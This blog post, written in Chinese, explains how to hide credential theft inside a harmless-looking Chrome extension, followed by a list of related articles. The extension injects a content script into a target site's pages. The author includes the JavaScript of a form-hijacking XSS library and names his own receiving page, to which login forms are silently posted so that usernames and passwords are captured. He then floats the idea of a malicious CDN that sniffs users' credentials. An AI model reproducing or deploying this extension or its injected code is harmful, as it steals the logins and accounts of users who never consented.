利用Chrome插件向指定页面植入js,劫持 XSS
- 利用Chrome插件向指定页面植入js,劫持 XSS,一些猥琐的想法与实践
- 0x00 Chrome插件
--------------------------
这个想法是昨天看到@紫梦芊 的帖子想起来的。
想法如下:
Chrome插件是可以通过manifest.json的控制,向指定页面植入contentscript.js里的脚本的。那么,能不能在一个看似正常的插件里,安放一个小功能:在所有乌云的页面里<script src=//xsser.me></script>呢?
于是,开始实践。(为了方便,只是弹了一个小框框)。
Manifest.json内容:123456789101112131415{"name":"XiaoChaJian","version":"1.0","manifest_version": 2,"author":"VIP","icons": {"128":"icon.png"},"permissions": [],"content_scripts": []}contentscript.js内容:
alert(/xss/);
那么,将弹框换成xsser.me,是不是就能截获想要的cookies了呢?
很遗憾,这种方法在乌云无效,因为乌云的cookies是HTTP-ONLY的。虽然插件上也能获取http-only的cookies(像Edit this cookie和cookie快速模拟一样),但是很麻烦,于是,又有一个猥琐的想法诞生了:在乌云的登录页面中,插入@Sogili的xss.js来劫持表单,是不是就能把用户名和密码发送到我们想要的地方去了呢?
开始实践:
Manifest.json内容:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232{"name":"JieChiBiaoDan","version":"1.0","manifest_version": 2,"author":"VIP","icons": {"128":"icon.png"},"permissions": [],"content_scripts": [{"js":["contentscript.js"],"matches":]}contentscript.js内容:;;varxss =function(){varx = {'name':'xss.js','version':'0.2.1','author':'长短短(sogili)'};x.x=function(id){returndocument.getElementById(id)};//容错取值x.e=function(_){try{returneval('('+_+')')}catch(e){return''}};//浏览器x.i={i:!!self.ActiveXObject&&(function(){for(varv=6,s=document.createElement('s');s.innerHTML='<![if gt IE '+(v++)+']><i></i><![endif]-->',s.getElementsByTagName('i')[0];);returnv;}()),c:!!self.chrome,f:self.mozPaintCount>-1,o:!!self.opera,s:!self.chrome&&!!self.WebKitPoint};//UAx.ua = navigator.userAgent;//判断是否为苹果手持设备x.apple=/ip(one|ad|od)/i.test(x.ua);//随机数x.rdm=function(){return~~(Math.random()*1e5)};//url编码(UTF8)x.ec=encodeURIComponent;x.html=function(){returndocument.getElementsByTagName('html')[0]||document.write('<html>')||document.getElementsByTagName('html')[0];};/** 销毁一个元素*/x.kill=function(e){e.parentElement.removeChild(e);};/**绑定事件*/x.bind=function(e,name,fn){e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);};/** dom准备完毕时执行函数*/x.ready=function(fn){if(!x.i.i){x.bind(document,'DOMContentLoaded',fn);}else{vars = setInterval(function(){try{document.body.doScroll('left');clearInterval(s);fn();}catch(e){}},4);}}/** 同源检测*/x.o=function(url){varlink = x.dom('<a href="'+encodeURI(url)+'">',1);returnlink.protocol+link.hoatname+':'+(link.port||80)==location.protocol+location.hoatname+':'+(location.port||80);};/** html to dom*/x.dom=function(html,gcsec){vartmp = document.createElement('span');tmp.innerHTML=html;vare = tmp.children[0];e.style.display='none';x.html().appendChild(e);gcsec>>0>0&&setTimeout(function(){x.kill(e);},gcsec*1000);returne;};/** ajax*/x.ajax=function(url,params,callback){(paramsinstanceofFunction)&&(callback=params,params=void(0));varXHR = (!x.o(url)&&window.XDomainRequest)||window.XMLHttpRequest||(function(){returnnewActiveXObject('MSXML2.XMLHTTP')});varxhr =newXHR();xhr.open(params?'post':'get',url);xhr.withCredentials =true;try{params&&xhr.setRequestHeader('content-type','application/x-www-form-urlencoded');}catch(e){}callback&&(xhr.onreadystatechange =function() {(this.readyState == 4 && ((this.status >= 200&&this.status <= 300) ||this.status == 304))&&callback.apply(this,arguments);});xhr.send(params);};/** CSRF*/x.csrf=function(url,params,callback){(paramsinstanceofFunction)&&(callback=params,params=void(0));if(params){varform = x.dom('<form method=post>');form.action=url;for(varnameinparams){varinput = document.createElement('input');input.name=name;input.value=params[name];form.appendChild(input);}variframe = x.dom('<iframe sandboxname=_'+x.rdm()+'_>',6);callback&&setTimeout(function(){x.bind(iframe,'load',callback);},30);form.target=iframe.name;form.submit();}else{varimg =newImage();callback&&(img.onerror=callback);img.src=url;}};/** 表单劫持*/x.xform=function(form,action){form.old_action=form.action,form.old_target=form.target,form.action=action;variframe = x.dom('<iframe name=_'+x.rdm()+'_>');form.target=iframe.name;setTimeout(function(){x.bind(iframe,'load',function(){form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();});},30);};/** 函数代理*/x.proxy=function(fn,before,after){returnfunction(){before&&before.apply(this,arguments);varresult = fn.apply(this,arguments);after&&after.apply(this,arguments);returnresult;}};returnx;}();http://vip.yupage.com/wy.php是我做好的一个接收页面,代码如下:

开始测试,打开登录页,填好用户名密码验证码,点击登录,首先会像我的接收页发起POST,然后才会POST乌云。

再去看看,用户名密码已经躺在那里了。

在不知情的情况下,用户名和密码就这样被劫持走了。乌云的wb转账功能可是没有二次验证的哦。
0x01 CDN
---------------
现在有许许多多的网站使用了CDN来进行加速/防D等。
去搜索了下CDN的工作原理,大概是这样的。
用户访问-》自动分配最快的节点-》请求原服务器-------
返回给用户《-返回给节点服务器《-原服务器返回数据<-|
那么,能不能搭建一台恶意的CDN,然后嗅探所有使用了该CDN的网站的用户名密码呢?
利用Chrome插件向指定页面植入js,劫持 XSS的更多相关文章
- 前端性能优化之利用 Chrome Dev Tools 进行页面性能分析
背景 我们经常使用 Chrome Dev Tools 来开发调试,但是很少知道怎么利用它来分析页面性能,这篇文章,我将详细说明怎样利用 Chrome Dev Tools 进行页面性能分析及性能报告数据 ...
- 利用chrome插件批量读取浏览器页面内容并写入数据库
试想一下,如果每天要收集100页网页数据甚至更多.如果采用人工收集会吐血,用程序去收集也就成为一个不二的选择.首先肯定会想到说用java.php.C#等高级语言,但这偏偏又有个登陆和验证码,搞到无所适 ...
- Chrome插件触发web页面的事件
Chrome插件中不能直接调用Web页面的元素js,原因是chrome插件的机制http://stackoverflow.com/questions/17819344/triggering-a-cli ...
- chrome插件访问原始页面的变量
开发chrome插件时遇到需要获取原始网页中的一个js变量的值问题.由于content.js和原始网页的作用域环境不同,无法直接获取变量的值,提示undefined.谷歌找到大神提供的办法.综合起来记 ...
- Windows下利用Chrome调试IOS设备页面
本文介绍如何在 Windows 系统中连接 iOS设备 并对 Web 页面进行真机调试 必须前提 iOS设备.数据线 Node.js 环境 Chrome 浏览器 环境准备 安装Node环境 参考Nod ...
- 利用Google Chrome开发插件,在网页中植入js代码
Google Chrome是一个很强大的浏览器,提供了各种各样的插件,大大提升了使用了的效率,比如vimium.honx等. Google在提供这些插件的同时还允许用户开发自己的插件. 最近在写js的 ...
- Chrome插件(Extensions)开发攻略
本文将从个人经验出发,讲述为什么需要Chrome插件,如何开发,如何调试,到哪里找资料,会遇到怎样的问题以及如何解决等,同时给出一个个人认为的比较典型的例子——获取网页内容,和服务器交互,再把信息反馈 ...
- 【干货】Chrome插件(扩展)开发全攻略(不点进来看看你肯定后悔)
写在前面 我花了将近一个多月的时间断断续续写下这篇博文,并精心写下完整demo,写博客的辛苦大家懂的,所以转载务必保留出处.本文所有涉及到的大部分代码均在这个demo里面:https://github ...
- 【干货】Chrome插件(扩展)开发全攻略
写在前面 我花了将近一个多月的时间断断续续写下这篇博文,并精心写下完整demo,写博客的辛苦大家懂的,所以转载务必保留出处.本文所有涉及到的大部分代码均在这个demo里面:https://github ...
随机推荐
- iOS开发笔记5:多线程之NSThread、NSOperation及GCD
这篇主要总结下iOS开发中多线程的使用,多线程开发一般使用NSThread.NSOperation及GCD三种方式,常用GCD及NSOperation. 1.NSThread 创建线程主要有以下三种方 ...
- Silverlight项目笔记2:.svc处理程序映射缺失导致的WCF RIA Services异常
在确定代码.编译结果和数据库都正常的情况下,无法从数据库取到数据.错误提示:Sysyem.Net.WebException:远程服务器返回了错误:NotFound,监听发现请求数据库的服务异常,访问相 ...
- iOS 自定义Actionsheet
自定义的Actionsheet效果如下 自定义的思路 1.在window上添加两个图层,背景层和功能层,如下图 2.设置背景层的背景色和透明度,并在背景层上添加点击事件 3.将自定义的view添加为功 ...
- js检测浏览器型号
公司要求做内部统计,要求监控客服玩游戏使用的浏览器的型号,是火狐的.谷歌的.还是IE的等等. [code lang="javascript"] /**** * 目前识别范围 * M ...
- 深入理解java虚拟机(7)---线程安全 & 锁优化
关于线程安全的话题,足可以使用一本书来讲解这些东西.<Java Concurrency in Practice> 就是讲解这些的,在这里 主要还是分析JVM中关于线程安全这块的内容. 1. ...
- Android Design Support Library——TextInputLayout
前沿 上一篇介绍了NavigationView的主要使用方式,本章主要介绍TextInputLayout的使用方式. TextInputLayout——EditText悬浮标签 TextInputLa ...
- forfiles命令批量删除N天前文件
在整理手上几台SQL SERVER 2000的数据库备份时,一方面为了方便快速还原数据库,另外一方面为了备份冗余.备份方式统一(先备份到本地,然后收上磁带),将以前通过Symantec Backup ...
- PS网页设计教程XXIX——如何在PS中设计一个画廊布局
作为编码者,美工基础是偏弱的.我们可以参考一些成熟的网页PS教程,提高自身的设计能力.套用一句话,“熟读唐诗三百首,不会作诗也会吟”. 本系列的教程来源于网上的PS教程,都是国外的,全英文的.本人尝试 ...
- 设计模式C#实现(五)——抽象工厂模式
抽象工厂模式 意图:提供一个创建一系列相关或相互依赖对象的接口,而无需指定他们具体的类. UML类图: 场景:抽象村商店想销售Pizza和Hamburg等多种商品,而在美国店和中国店要出售本土化的口味 ...
- 虚拟机centos6.5 --设置主机名
vi /etc/sysconfig/network #修改HOSTNAME后面的值,机器名 vi /etc/hosts #设置ip和机器名的对应关系 192.168.12.232 master 192 ...
我要投稿